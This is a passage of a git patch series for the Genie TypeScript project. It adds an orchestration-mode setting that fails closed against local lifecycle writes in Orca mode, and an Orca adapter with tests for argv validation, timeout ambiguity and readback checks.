}).orchestration.mode).toBe('orca'); + expect(() => GenieConfigSchema.parse({ orchestration: { mode: 'automatic' } })).toThrow(); + }); + + test('absent and explicit standalone configurations resolve to standalone', () => { + fixture(); + expect(resolveOrchestrationMode()).toBe('standalone'); + fixture({ orchestration: { mode: 'standalone' } }); + expect(resolveOrchestrationMode()).toBe('standalone'); + }); + + test('Orca mode is explicit and returns the stable typed lifecycle refusal', () => { + fixture({ orchestration: { mode: 'orca' }, runtime: { defaultAgent: 'invalid' } }); + expect(resolveOrchestrationMode()).toBe('orca'); + expect(() => assertLocalLifecycleEnabled()).toThrow(LocalLifecycleDisabledError); + try { + assertLocalLifecycleEnabled(); + } catch (error) { + expect(error).toBeInstanceOf(LocalLifecycleDisabledError); + expect((error as LocalLifecycleDisabledError).code).toBe('local_lifecycle_disabled_in_orca_mode'); + } + }); + + test('authority resolution ignores unrelated malformed config fields', () => { + fixture({ orchestration: { mode: 'standalone' }, runtime: { defaultAgent: 'invalid' } }); + expect(resolveOrchestrationMode()).toBe('standalone'); + }); + + for (const config of [ + { orchestration: { mode: 'automatic' }, runtime: { defaultAgent: 'invalid' } }, + { orchestration: {} }, + { orchestration: { mod: 'orca' } }, + { orchestration: { mode: 'orca', extra: true } }, + ]) { + test(`malformed authority selection fails closed: ${JSON.stringify(config.orchestration)}`, () => { + fixture(config); + expect(() => resolveOrchestrationMode()).toThrow(InvalidOrchestrationAuthorityError); + try { + assertLocalLifecycleEnabled(); + } catch (error) { + expect(error).toBeInstanceOf(InvalidOrchestrationAuthorityError); + expect((error as InvalidOrchestrationAuthorityError).code).toBe('invalid_orchestration_authority'); + expect((error as Error).message).toContain('orchestration.mode must be either "standalone" or "orca"'); + } + }); + } +}); diff --git a/src/lib/orchestration-mode.ts b/src/lib/orchestration-mode.ts new file mode 100644 index 000000000..29b3595a6 --- /dev/null +++ b/src/lib/orchestration-mode.ts @@ -0,0 +1,59 @@ +import { existsSync, readFileSync } from 'node:fs'; +import { z } from 'zod'; +import { getGenieConfigPath } from './genie-config.js'; + +export type OrchestrationMode = 'standalone' | 'orca'; + +export const LOCAL_LIFECYCLE_DISABLED_CODE = 'local_lifecycle_disabled_in_orca_mode' as const; +export const INVALID_ORCHESTRATION_AUTHORITY_CODE = 'invalid_orchestration_authority' as const; + +const OrchestrationAuthoritySchema = z + .object({ + orchestration: z + .object({ mode: z.enum(['standalone', 'orca']) }) + .strict() + .optional(), + }) + .passthrough(); + +export class InvalidOrchestrationAuthorityError extends Error { + readonly code = INVALID_ORCHESTRATION_AUTHORITY_CODE; + + constructor() { + super(`${INVALID_ORCHESTRATION_AUTHORITY_CODE}: config orchestration.mode must be either "standalone" or "orca"`); + this.name = 'InvalidOrchestrationAuthorityError'; + } +} + +export class LocalLifecycleDisabledError extends Error { + readonly code = LOCAL_LIFECYCLE_DISABLED_CODE; + + constructor() { + super( + `${LOCAL_LIFECYCLE_DISABLED_CODE}: local Genie lifecycle state is disabled because orchestration.mode is "orca"`, + ); + this.name = 'LocalLifecycleDisabledError'; + } +} + +/** Resolve lifecycle authority without creating or changing configuration. */ +export function resolveOrchestrationMode(): OrchestrationMode { + const path = getGenieConfigPath(); + if (!existsSync(path)) return 'standalone'; + + let raw: unknown; + try { + raw = JSON.parse(readFileSync(path, 'utf8')); + } catch { + throw new InvalidOrchestrationAuthorityError(); + } + + const parsed = OrchestrationAuthoritySchema.safeParse(raw); + if (!parsed.success) throw new InvalidOrchestrationAuthorityError(); + return parsed.data.orchestration?.mode ?? 'standalone'; +} + +/** Fail closed before any local lifecycle store can be opened or changed. */ +export function assertLocalLifecycleEnabled(): void { + if (resolveOrchestrationMode() === 'orca') throw new LocalLifecycleDisabledError(); +} diff --git a/src/lib/v5/authority-barriers.test.ts b/src/lib/v5/authority-barriers.test.ts new file mode 100644 index 000000000..582fa8b6f --- /dev/null +++ b/src/lib/v5/authority-barriers.test.ts @@ -0,0 +1,191 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { + existsSync, + mkdirSync, + mkdtempSync, + readFileSync, + readdirSync, + rmSync, + statSync, + writeFileSync, +} from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { openReadonlyHandle } from '../../term-commands/context.js'; +import { InvalidOrchestrationAuthorityError, LocalLifecycleDisabledError } from '../orchestration-mode.js'; +import { openDb } from './genie-db.js'; +import { openReadonlyDb } from './mcp-tools.js'; +import { writeSnapshotFile } from './roadmap-sync.js'; + +const originalGenieHome = process.env.GENIE_HOME; +const roots: string[] = []; +const GENIE = join(import.meta.dir, '..', '..', 'genie.ts'); + +function authorityFixture(config: unknown = { orchestration: { mode: 'orca' } }): string { + const root = mkdtempSync(join(tmpdir(), 'genie-authority-barrier-')); + roots.push(root); + const home = join(root, 'home'); + mkdirSync(home, { recursive: true }); + writeFileSync(join(home, 'config.json'), JSON.stringify(config)); + process.env.GENIE_HOME = home; + return root; +} + +const orcaFixture = (): string => authorityFixture(); + +afterEach(() => { + if (originalGenieHome === undefined) process.env.GENIE_HOME = undefined; + else process.env.GENIE_HOME = originalGenieHome; + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +describe('Orca authority barriers', () => { + test('task, board, and idea CLI routes return the stable refusal without creating repository state', async () => { + const root = orcaFixture(); + const repo = join(root, 'repo'); + mkdirSync(repo); + + for (const args of [['task', 'list'], ['board'], ['idea', 'do not persist']]) { + const proc = Bun.spawn(['bun', GENIE, ...args], { + cwd: repo, + env: { ...process.env, GENIE_HOME: process.env.GENIE_HOME as string, NO_COLOR: '1' }, + stdout: 'pipe', + stderr: 'pipe', + }); + const [exitCode, stderr] = await Promise.all([proc.exited, new Response(proc.stderr).text()]); + expect(exitCode).toBe(1); + expect(stderr).toContain('local_lifecycle_disabled_in_orca_mode'); + expect(existsSync(join(repo, '.genie'))).toBe(false); + } + }); + + test('direct and indirect writable DB opens fail before SQLite creates any filesystem state', () => { + const root = orcaFixture(); + const direct = join(root, 'direct', 'genie.db'); + const repo = join(root, 'repo'); + mkdirSync(repo); + + expect(() => openDb({ path: direct })).toThrow(LocalLifecycleDisabledError); + expect(() => openDb({ cwd: repo })).toThrow(LocalLifecycleDisabledError); + expect(existsSync(join(root, 'direct'))).toBe(false); + expect(existsSync(join(repo, '.genie'))).toBe(false); + }); + + test('context and MCP read paths refuse an existing local DB without creating sidecars or changing bytes', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-authority-existing-')); + roots.push(root); + const home = join(root, 'home'); + const dbPath = join(root, 'repo', '.genie', 'genie.db'); + process.env.GENIE_HOME = home; + const db = openDb({ path: dbPath }); + db.close(); + mkdirSync(home, { recursive: true }); + writeFileSync(join(home, 'config.json'), JSON.stringify({ orchestration: { mode: 'orca' } })); + const directory = join(root, 'repo', '.genie'); + const beforeNames = readdirSync(directory); + const beforeBytes = readFileSync(dbPath); + const beforeMtime = statSync(dbPath).mtimeMs; + + expect(() => openReadonlyHandle(dbPath)).toThrow(LocalLifecycleDisabledError); + expect(() => openReadonlyDb(join(root, 'repo'))).toThrow(LocalLifecycleDisabledError); + + expect(readdirSync(directory)).toEqual(beforeNames); + expect(readFileSync(dbPath)).toEqual(beforeBytes); + expect(statSync(dbPath).mtimeMs).toBe(beforeMtime); + }); + + test('roadmap writes fail before bytes, metadata, or temporary siblings change', () => { + const root = orcaFixture(); + const roadmap = join(root, 'roadmap.json'); + writeFileSync(roadmap, '{"sentinel":true}\n'); + const before = statSync(roadmap); + + expect(() => writeSnapshotFile(roadmap, { sentinel: false })).toThrow(LocalLifecycleDisabledError); + + const after = statSync(roadmap); + expect(readFileSync(roadmap, 'utf8')).toBe('{"sentinel":true}\n'); + expect(after.mtimeMs).toBe(before.mtimeMs); + expect(existsSync(`${roadmap}.${process.pid}.tmp`)).toBe(false); + }); + + test('standalone remains the default for DB creation and roadmap writes', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-authority-standalone-')); + roots.push(root); + process.env.GENIE_HOME = join(root, 'absent-home'); + const dbPath = join(root, 'repo', '.genie', 'genie.db'); + const roadmap = join(root, 'repo', '.genie', 'roadmap.json'); + + const db = openDb({ path: dbPath }); + db.close(); + writeSnapshotFile(roadmap, { version: 1 }); + + expect(existsSync(dbPath)).toBe(true); + expect(JSON.parse(readFileSync(roadmap, 'utf8'))).toEqual({ version: 1 }); + }); + + for (const fixtureCase of [ + { + name: 'explicit Orca with an unrelated invalid field', + config: { orchestration: { mode: 'orca' }, runtime: { defaultAgent: 'invalid' } }, + error: LocalLifecycleDisabledError, + code: 'local_lifecycle_disabled_in_orca_mode', + }, + { + name: 'malformed authority field', + config: { orchestration: { mode: 'automatic' } }, + error: InvalidOrchestrationAuthorityError, + code: 'invalid_orchestration_authority', + }, + { + name: 'missing authority mode', + config: { orchestration: {} }, + error: InvalidOrchestrationAuthorityError, + code: 'invalid_orchestration_authority', + }, + { + name: 'misspelled authority field', + config: { orchestration: { mod: 'orca' } }, + error: InvalidOrchestrationAuthorityError, + code: 'invalid_orchestration_authority', + }, + { + name: 'extra authority field', + config: { orchestration: { mode: 'orca', extra: true } }, + error: InvalidOrchestrationAuthorityError, + code: 'invalid_orchestration_authority', + }, + ] as const) { + test(`${fixtureCase.name} refuses CLI and low-level operations without lifecycle mutations`, async () => { + const root = authorityFixture(fixtureCase.config); + const repo = join(root, 'repo'); + const dbPath = join(repo, '.genie', 'genie.db'); + const roadmap = join(repo, '.genie', 'roadmap.json'); + mkdirSync(repo); + + for (const args of [['task', 'list'], ['board'], ['idea', 'do not persist']]) { + const proc = Bun.spawn(['bun', GENIE, ...args], { + cwd: repo, + env: { ...process.env, GENIE_HOME: process.env.GENIE_HOME as string, NO_COLOR: '1' }, + stdout: 'pipe', + stderr: 'pipe', + }); + const [exitCode, stderr] = await Promise.all([proc.exited, new Response(proc.stderr).text()]); + expect(exitCode).toBe(1); + expect(stderr).toContain(fixtureCase.code); + expect(existsSync(join(repo, '.genie'))).toBe(false); + } + + expect(() => openDb({ path: dbPath })).toThrow(fixtureCase.error); + expect(() => openReadonlyHandle(dbPath)).toThrow(fixtureCase.error); + expect(() => openReadonlyDb(repo)).toThrow(fixtureCase.error); + expect(() => writeSnapshotFile(roadmap, { forbidden: true })).toThrow(fixtureCase.error); + + expect(existsSync(dbPath)).toBe(false); + expect(existsSync(`${dbPath}-wal`)).toBe(false); + expect(existsSync(`${dbPath}-shm`)).toBe(false); + expect(existsSync(roadmap)).toBe(false); + expect(existsSync(`${roadmap}.${process.pid}.tmp`)).toBe(false); + expect(existsSync(join(repo, '.genie'))).toBe(false); + }); + } +}); diff --git a/src/lib/v5/genie-db.ts b/src/lib/v5/genie-db.ts index cf2b8047b..2d7b3d289 100644 --- a/src/lib/v5/genie-db.ts +++ b/src/lib/v5/genie-db.ts @@ -17,6 +17,7 @@ import type { Database } from 'bun:sqlite'; import { execFileSync, execSync } from 'node:child_process'; import { existsSync, lstatSync, realpathSync } from 'node:fs'; import { basename, dirname, join, normalize } from 'node:path'; +import { assertLocalLifecycleEnabled } from '../orchestration-mode.js'; import { openSqlite } from './sqlite-open.js'; // Concurrency + typed-error primitives now live in sqlite-open.ts (shared with @@ -402,6 +403,7 @@ export interface OpenOptions { * errors. Idempotent: safe to call on every CLI invocation. */ export function openDb(opts: OpenOptions = {}): Database { + assertLocalLifecycleEnabled(); return openSqlite({ path: opts.path ?? resolveDbPath(opts.cwd), schemaVersion: CURRENT_SCHEMA_VERSION, diff --git a/src/lib/v5/mcp-tools.ts b/src/lib/v5/mcp-tools.ts index cb3cf3205..bda76f42e 100644 --- a/src/lib/v5/mcp-tools.ts +++ b/src/lib/v5/mcp-tools.ts @@ -20,6 +20,7 @@ import { constants, Database } from 'bun:sqlite'; import { execFileSync } from 'node:child_process'; import { accessSync, constants as fsConstants } from 'node:fs'; +import { assertLocalLifecycleEnabled } from '../orchestration-mode.js'; import { BusyDbError, type ProjectContext, @@ -127,6 +128,7 @@ export function openReadonlyDb( target?: string | ProjectDatabaseBinding, dependencies: ReadonlyDbOpenDependencies = {}, ): Database | null { + assertLocalLifecycleEnabled(); const initial = typeof target === 'object' ? resolveProjectDatabaseBinding(target.logicalPath, target) diff --git a/src/lib/v5/roadmap-sync.ts b/src/lib/v5/roadmap-sync.ts index ce3d2aa29..5e1c0a449 100644 --- a/src/lib/v5/roadmap-sync.ts +++ b/src/lib/v5/roadmap-sync.ts @@ -23,6 +23,7 @@ import type { Database } from 'bun:sqlite'; import { createHash } from 'node:crypto'; import { existsSync, readFileSync, renameSync, writeFileSync } from 'node:fs'; import { join } from 'node:path'; +import { assertLocalLifecycleEnabled } from '../orchestration-mode.js'; import { resolveRepoRoot, resolveRoadmapPath } from './genie-db.js'; import { SnapshotFormatError, type StateExport, exportState, hasOperationalState, importState } from './task-state.js'; @@ -73,6 +74,7 @@ function readMarker(path: string): SyncMarker | null { } function writeMarker(path: string, marker: SyncMarker): void { + assertLocalLifecycleEnabled(); writeFileSync(path, `${JSON.stringify(marker, null, 2)}\n`); } @@ -86,6 +88,7 @@ function serializeSnapshot(state: unknown): string { * canonical board would otherwise read as invalid JSON on the next sync. */ export function writeSnapshotFile(target: string, state: unknown): void { + assertLocalLifecycleEnabled(); const tmp = `${target}.${process.pid}.tmp`; writeFileSync(tmp, serializeSnapshot(state)); renameSync(tmp, target); @@ -102,6 +105,7 @@ export function writeSnapshotFile(target: string, state: unknown): void { * produced `state` and wrote the file. */ export function recordExportBaseline(state: StateExport, cwd?: string): void { + assertLocalLifecycleEnabled(); // The file holds exactly `serializeSnapshot(state)`, and sync hashes the // PARSED file — structurally identical to `state`, so one hash covers both. const hash = canonicalHash(state); @@ -116,6 +120,7 @@ export function recordExportBaseline(state: StateExport, cwd?: string): void { * happen under the caller's immediate transaction, alongside the import itself. */ export function recordImportBaseline(db: Database, snapshot: unknown, cwd?: string): void { + assertLocalLifecycleEnabled(); writeMarker(resolveSyncMarkerPath(cwd), { fileHash: canonicalHash(snapshot), dbHash: canonicalHash(roadmapSnapshot(db)), @@ -129,6 +134,7 @@ export function recordImportBaseline(db: Database, snapshot: unknown, cwd?: stri * on pull (post-merge / post-rewrite) and before commit (pre-commit). */ export function syncRoadmap(db: Database, cwd?: string): SyncResult { + assertLocalLifecycleEnabled(); // BEGIN IMMEDIATE for the whole compare-and-act sequence: the db-side hash // must not go stale between comparison and a replace-import, or a task write // committed in that window would be silently destroyed. Holding the write diff --git a/src/term-commands/context.ts b/src/term-commands/context.ts index d6378ee5a..f1157fb0c 100644 --- a/src/term-commands/context.ts +++ b/src/term-commands/context.ts @@ -56,6 +56,7 @@ import { Database } from 'bun:sqlite'; import { existsSync, statSync } from 'node:fs'; import type { Command } from 'commander'; import { resolveGitWorktreeRoot } from '../lib/codex-project-mcp.js'; +import { assertLocalLifecycleEnabled } from '../lib/orchestration-mode.js'; import { type IntegrationBranch, peelCommit, @@ -175,6 +176,7 @@ function failClosed(code: string, reason: string): never { * wrong about the resolved base policy. */ export function openReadonlyHandle(dbPath: string): Database | null { + assertLocalLifecycleEnabled(); try { let walBytes = 0; try { diff --git a/src/types/genie-config.ts b/src/types/genie-config.ts index a6068711a..46abf0600 100644 --- a/src/types/genie-config.ts +++ b/src/types/genie-config.ts @@ -59,6 +59,10 @@ const RuntimeConfigSchema = z.object({ defaultAgent: z.enum(['auto', 'claude', 'codex']).default('auto'), }); +export const OrchestrationConfigSchema = z.object({ + mode: z.enum(['standalone', 'orca']).default('standalone'), +}); + // Worker profile configuration // Defines how to launch a Claude worker // Uses preprocess to migrate legacy "claudio" launcher values to "claude" @@ -213,6 +217,7 @@ export const GenieConfigSchema = z.object({ shortcuts: ShortcutsConfigSchema.default({}), codex: CodexConfigSchema.optional(), runtime: RuntimeConfigSchema.default({}), + orchestration: OrchestrationConfigSchema.default({}), installMethod: z.enum(['source', 'npm', 'bun']).optional(), // Release channel preference. Canonical values: 'latest' (stable) or // 'dev' (pre-release). Two read-time aliases are accepted so configs From f71f1b1f0a5e81156c5db5b7333a21ae6692bfc3 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 18:45:42 +0000 Subject: [PATCH 05/45] feat: add safe public Orca orchestration adapter (#2809) * feat(orchestration): add closed Orca adapter core * fix(orchestration): complete adapter receipts and readbacks * fix(orchestration): harden adapter response proofs * fix(adapter): harden Orca orchestration boundary * fix(adapter): classify post-receipt readback failures * fix(adapter): redact orchestration error envelopes * fix(adapter): redact connection URL credentials --- src/lib/orca-orchestration-adapter.test.ts | 849 ++++++++++++++ src/lib/orca-orchestration-adapter.ts | 1224 ++++++++++++++++++++ 2 files changed, 2073 insertions(+) create mode 100644 src/lib/orca-orchestration-adapter.test.ts create mode 100644 src/lib/orca-orchestration-adapter.ts diff --git a/src/lib/orca-orchestration-adapter.test.ts b/src/lib/orca-orchestration-adapter.test.ts new file mode 100644 index 000000000..1afa2412a --- /dev/null +++ b/src/lib/orca-orchestration-adapter.test.ts @@ -0,0 +1,849 @@ +import { describe, expect, test } from 'bun:test'; +import { + MAX_ORCA_STDERR_BYTES, + MAX_ORCA_STDOUT_BYTES, + OrcaAdapterError, + type OrcaOperation, + type OrcaProcessExecutor, + __orcaAdapterTestOnly, + buildOrcaOrchestrationArgv, + createOrcaOrchestrationAdapter, + resolveOrcaExecutable, +} from './orca-orchestration-adapter.js'; + +const cases: ReadonlyArray<[string, OrcaOperation, readonly string[]]> = [ + ['run-create', { operation: 'run-create', objective: 'Ship it' }, ['--objective', 'Ship it']], + ['run-list', { operation: 'run-list', limit: 10, cursor: 'cursor_1' }, ['--limit', '10', '--cursor', 'cursor_1']], + ['run-show', { operation: 'run-show', id: 'run_1' }, ['--id', 'run_1']], + ['run-current', { operation: 'run-current' }, []], + ['run-use', { operation: 'run-use', id: 'run_1' }, ['--id', 'run_1']], + [ + 'task-create', + { operation: 'task-create', spec: 'Implement', title: 'Adapter', deps: ['task_a'], parent: 'task_p' }, + ['--spec', 'Implement', '--task-title', 'Adapter', '--deps', '["task_a"]', '--parent', 'task_p'], + ], + [ + 'task-list', + { operation: 'task-list', status: 'ready', ready: true, brief: true }, + ['--status', 'ready', '--ready', '--brief'], + ], + [ + 'task-update', + { operation: 'task-update', id: 'task_a', status: 'completed', result: { summary: 'done', artifacts: ['a.md'] } }, + ['--id', 'task_a', '--status', 'completed', '--result', '{"summary":"done","artifacts":["a.md"]}'], + ], + [ + 'worker-start', + { operation: 'worker-start', task: 'task_a', agent: 'codex', model: 'gpt-5', effort: 'high', timeoutMs: 500 }, + [ + '--task', + 'task_a', + '--worktree', + 'current', + '--agent', + 'codex', + '--model', + 'gpt-5', + '--effort', + 'high', + '--timeout-ms', + '500', + ], + ], + ['worker-show', { operation: 'worker-show', dispatch: 'dispatch_a' }, ['--dispatch', 'dispatch_a']], + [ + 'worker-read', + { operation: 'worker-read', dispatch: 'dispatch_a', source: 'auto', cursor: 'c1', limit: 2 }, + ['--dispatch', 'dispatch_a', '--source', 'auto', '--cursor', 'c1', '--limit', '2'], + ], + ['worker-release', { operation: 'worker-release', dispatch: 'dispatch_a' }, ['--dispatch', 'dispatch_a']], + [ + 'send', + { + operation: 'send', + subject: 'alive', + body: 'working', + type: 'heartbeat', + priority: 'normal', + threadId: 'thread_a', + payload: { taskId: 'task_a', phase: '-nested-is-safe' }, + }, + [ + '--subject', + 'alive', + '--body', + 'working', + '--type', + 'heartbeat', + '--priority', + 'normal', + '--thread-id', + 'thread_a', + '--payload', + '{"taskId":"task_a","phase":"-nested-is-safe"}', + ], + ], + [ + 'check', + { + operation: 'check', + ack: 'delivery_a', + unread: true, + types: ['worker_done', 'question'], + wait: true, + timeoutMs: 500, + }, + ['--ack', 'delivery_a', '--unread', '--types', 'worker_done,question', '--wait', '--timeout-ms', '500'], + ], + ['reply', { operation: 'reply', id: 'message_a', body: 'yes' }, ['--id', 'message_a', '--body', 'yes']], + [ + 'ask', + { operation: 'ask', question: 'Choose', options: ['one', 'two'], timeoutMs: 500 }, + ['--question', 'Choose', '--options', 'one,two', '--timeout-ms', '500'], + ], + [ + 'gate-create', + { operation: 'gate-create', task: 'task_a', question: 'Choose', options: ['a,b', 'c\nd'] }, + ['--task', 'task_a', '--question', 'Choose', '--options', '["a,b","c\\nd"]'], + ], + [ + 'gate-list', + { operation: 'gate-list', task: 'task_a', status: 'pending' }, + ['--task', 'task_a', '--status', 'pending'], + ], + [ + 'gate-resolve', + { operation: 'gate-resolve', id: 'gate_a', resolution: 'approved', task: 'task_a' }, + ['--id', 'gate_a', '--resolution', 'approved'], + ], +]; + +describe('closed Orca orchestration argv grammar', () => { + for (const [verb, input, flags] of cases) { + test(verb, () => { + expect(buildOrcaOrchestrationArgv(input)).toEqual(['orchestration', verb, ...flags, '--json']); + }); + } + + test('rejects unknown operations and caller-controlled fields', () => { + for (const input of [ + { operation: 'dispatch', task: 'task_a' }, + { operation: 'run-current', argv: ['--terminal', 'term_a'] }, + { operation: 'run-show', id: 'run_a', json: true }, + { operation: 'worker-start', task: 'task_a', agent: 'codex', worktree: 'other' }, + { operation: 'send', subject: 'x', to: 'term_a' }, + ]) { + expect(() => buildOrcaOrchestrationArgv(input)).toThrow(OrcaAdapterError); + } + }); + + test('rejects flag-shaped scalar values after domain validation', () => { + for (const value of ['-', '--', '-x', '--json', '-1', '-é']) { + expect(() => buildOrcaOrchestrationArgv({ operation: 'run-create', objective: value })).toThrow(OrcaAdapterError); + } + expect(buildOrcaOrchestrationArgv({ operation: 'run-create', objective: 'x-y' })[3]).toBe('x-y'); + expect(buildOrcaOrchestrationArgv({ operation: 'run-create', objective: '–dash' })[3]).toBe('–dash'); + }); + + test('rejects invalid dependent, structured, and delimiter-sensitive values', () => { + for (const input of [ + { operation: 'worker-start', task: 'task_a', agent: 'codex', effort: 'high' }, + { operation: 'check', wait: false, timeoutMs: 500 }, + { operation: 'check', unread: true, peek: true }, + { operation: 'check', types: ['question', 'question'] }, + { operation: 'ask', question: 'q', resume: 'message_a' }, + { operation: 'ask', resume: 'message_a', options: ['yes'] }, + { operation: 'ask', question: 'q', options: ['a,b'] }, + { operation: 'ask', question: 'q', options: ['a\rb'] }, + { operation: 'ask', question: 'q', options: ['a\nb'] }, + { operation: 'task-create', spec: 'x', deps: ['task_a', 'task_a'] }, + { operation: 'task-update', id: 'task_a', status: 'completed', result: { summary: 'x', extra: true } }, + { operation: 'send', subject: 'x', payload: {} }, + { operation: 'send', subject: 'x', payload: { taskId: 'task_a', extra: true } }, + ]) { + expect(() => buildOrcaOrchestrationArgv(input)).toThrow(OrcaAdapterError); + } + }); +}); + +describe('runtime and executor boundary', () => { + test('resolves one deterministic executable without fallback', () => { + expect(resolveOrcaExecutable({ platform: 'win32' })).toBe('orca.exe'); + expect(resolveOrcaExecutable({ platform: 'darwin' })).toBe('orca'); + expect(resolveOrcaExecutable({ platform: 'linux', managedTerminal: false })).toBe('orca-ide'); + expect(resolveOrcaExecutable({ platform: 'linux', managedTerminal: true })).toBe('orca'); + expect(createOrcaOrchestrationAdapter().executable).toBe( + resolveOrcaExecutable({ managedTerminal: process.env.TERM_PROGRAM === 'Orca' }), + ); + }); + + test('does not spawn on invalid input and owns all process controls', async () => { + const requests: Parameters<OrcaProcessExecutor>[0][] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + env: { SAFE: 'yes' }, + executor: async (request) => { + requests.push(request); + return { exitCode: 0, stdout: '{"id":"request_a","ok":true,"result":{"runs":[]}}', stderr: '' }; + }, + }); + await expect(adapter.execute({ operation: 'run-show', id: '--json' })).rejects.toBeInstanceOf(OrcaAdapterError); + expect(requests).toHaveLength(0); + await adapter.execute({ operation: 'run-list' }); + expect(requests).toEqual([ + { + executable: 'orca-ide', + argv: ['orchestration', 'run-list', '--json'], + shell: false, + timeoutMs: 30_000, + maxStdoutBytes: MAX_ORCA_STDOUT_BYTES, + maxStderrBytes: MAX_ORCA_STDERR_BYTES, + env: { SAFE: 'yes' }, + }, + ]); + }); + + test('requires one strict success envelope', async () => { + for (const stdout of ['', '{}', '{"id":"x","ok":true}', '{"id":"x","ok":true,"result":{},"extra":1}', '{}\n{}']) { + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ exitCode: 0, stdout, stderr: '' }), + }); + await expect(adapter.execute({ operation: 'run-list' })).rejects.toBeInstanceOf(OrcaAdapterError); + } + }); + + test('classifies an acknowledgement timeout as unrecoverably ambiguous', async () => { + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => ({ exitCode: null, stdout: '', stderr: '', timedOut: true }), + }); + try { + await adapter.execute({ operation: 'check', ack: 'delivery_a' }); + throw new Error('expected failure'); + } catch (error) { + expect(error).toBeInstanceOf(OrcaAdapterError); + expect((error as OrcaAdapterError).code).toBe('ambiguous_after_possible_commit'); + expect((error as OrcaAdapterError).retrySafety).toBe('unrecoverably-ambiguous'); + } + }); + + test('classifies every mutation timeout as ambiguous and does not retry', async () => { + let calls = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => { + calls += 1; + return { exitCode: null, stdout: '', stderr: '', timedOut: true }; + }, + }); + try { + await adapter.execute({ operation: 'send', subject: 'once' }); + throw new Error('expected failure'); + } catch (error) { + expect((error as OrcaAdapterError).code).toBe('ambiguous_after_possible_commit'); + expect((error as OrcaAdapterError).retrySafety).toBe('unrecoverably-ambiguous'); + } + expect(calls).toBe(1); + }); + + test('rejects verb-specific malformed and identifier-free mutation JSON without retry', async () => { + for (const stdout of ['not-json', '{"id":"request_a","ok":true,"result":{"released":true}}']) { + let calls = 0; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async () => { + calls += 1; + return { exitCode: 0, stdout, stderr: '' }; + }, + }); + try { + await adapter.execute({ operation: 'worker-release', dispatch: 'dispatch_a' }); + throw new Error('expected failure'); + } catch (error) { + expect(error).toBeInstanceOf(OrcaAdapterError); + expect((error as OrcaAdapterError).code).toBe('ambiguous_after_possible_commit'); + expect((error as OrcaAdapterError).retrySafety).toBe('unrecoverably-ambiguous'); + } + expect(calls).toBe(1); + } + }); + + test('normalizes run-use identifiers, runtime metadata, timestamps, and run-current proof', async () => { + const requests: string[][] = []; + const instants = [new Date('2026-08-29T00:00:00.000Z'), new Date('2026-08-29T00:00:01.000Z')]; + const adapter = __orcaAdapterTestOnly.createAdapter({ + now: () => instants.shift() as Date, + executor: async (request) => { + requests.push([...request.argv]); + const result = + request.argv[1] === 'run-use' + ? { runId: 'run_a', coordinatorTerminalHandle: 'term_a' } + : { run: { id: 'run_a' }, coordinatorTerminalHandle: 'term_a' }; + return { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1.2.3', invokingTerminal: 'term_a' }, + }), + stderr: '', + }; + }, + }); + const response = await adapter.execute({ operation: 'run-use', id: 'run_a' }); + expect(requests.map((argv) => argv[1])).toEqual(['run-use', 'run-current']); + expect(response.receipt).toEqual({ + verb: 'run-use', + ids: { runId: 'run_a' }, + runtimeId: 'runtime_a', + runtimeVersion: '1.2.3', + startedAt: '2026-08-29T00:00:00.000Z', + completedAt: '2026-08-29T00:00:01.000Z', + readbackVerb: 'run-current', + }); + }); + + test('verifies gate task context and worker release through their required public readbacks', async () => { + const run = async (input: OrcaOperation, results: Record<string, object>) => { + const verbs: string[] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async (request) => { + const verb = request.argv[1] as string; + verbs.push(verb); + return { + exitCode: 0, + stdout: JSON.stringify({ + id: `request_${verb}`, + ok: true, + result: results[verb], + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1.2.3' }, + }), + stderr: '', + }; + }, + }); + const response = await adapter.execute(input); + return { verbs, response }; + }; + const gate = await run( + { operation: 'gate-resolve', id: 'gate_a', resolution: 'yes', task: 'task_a' }, + { + 'gate-resolve': { gateId: 'gate_a', taskId: 'task_a' }, + 'gate-list': { + gates: [{ id: 'gate_a', taskId: 'task_a', question: 'Choose', status: 'resolved', resolution: 'yes' }], + }, + }, + ); + expect(gate.verbs).toEqual(['gate-resolve', 'gate-list']); + expect(gate.response.receipt?.ids).toEqual({ gateId: 'gate_a', taskId: 'task_a' }); + + const worker = await run( + { operation: 'worker-release', dispatch: 'dispatch_a' }, + { + 'worker-release': { dispatchId: 'dispatch_a' }, + 'worker-show': { + dispatch: { id: 'dispatch_a', taskId: 'task_a', terminalDisposition: 'released' }, + }, + }, + ); + expect(worker.verbs).toEqual(['worker-release', 'worker-show']); + expect(worker.response.receipt?.readbackVerb).toBe('worker-show'); + }); + + test('fails on readback disagreement and never retries either call', async () => { + const verbs: string[] = []; + const adapter = __orcaAdapterTestOnly.createAdapter({ + executor: async (request) => { + const verb = request.argv[1] as string; + verbs.push(verb); + const result = + verb === 'run-use' + ? { runId: 'run_a', coordinatorTerminalHandle: 'term_a' } + : { run: { id: 'run_other' }, coordinatorTerminalHandle: 'term_a' }; + return { + exitCode: 0, + stdout: JSON.stringify({ + id: 'request_a', + ok: true, + result, + _meta: { runtimeId: 'runtime_a', runtimeVersion: '1.2.3', invokingTerminal: 'term_a' }, + }), + stderr: '', + }; + }, + }); + try { + await adapter.execute({ operation: 'run-use', id: 'run_a' }); + throw new Error('expected failure'); + } catch (error) { + expect((error as OrcaAdapterError).code).toBe('readback_mismatch'); + } + expect(verbs).toEqual(['run-use', 'run-current']); + }); + + test('maps every post-receipt readback failure onto the mutation and never makes it safe to retry', async () => { + const failures: ReadonlyArray<{ + name: string; + result?: Awaited<ReturnType<OrcaProcessExecutor>>; + rejection?: Error; + code: string; + }> = [ + { + name: 'timeout', + result: { exitCode: null, stdout: '', stderr: '', timedOut: true }, + code: 'timeout', + 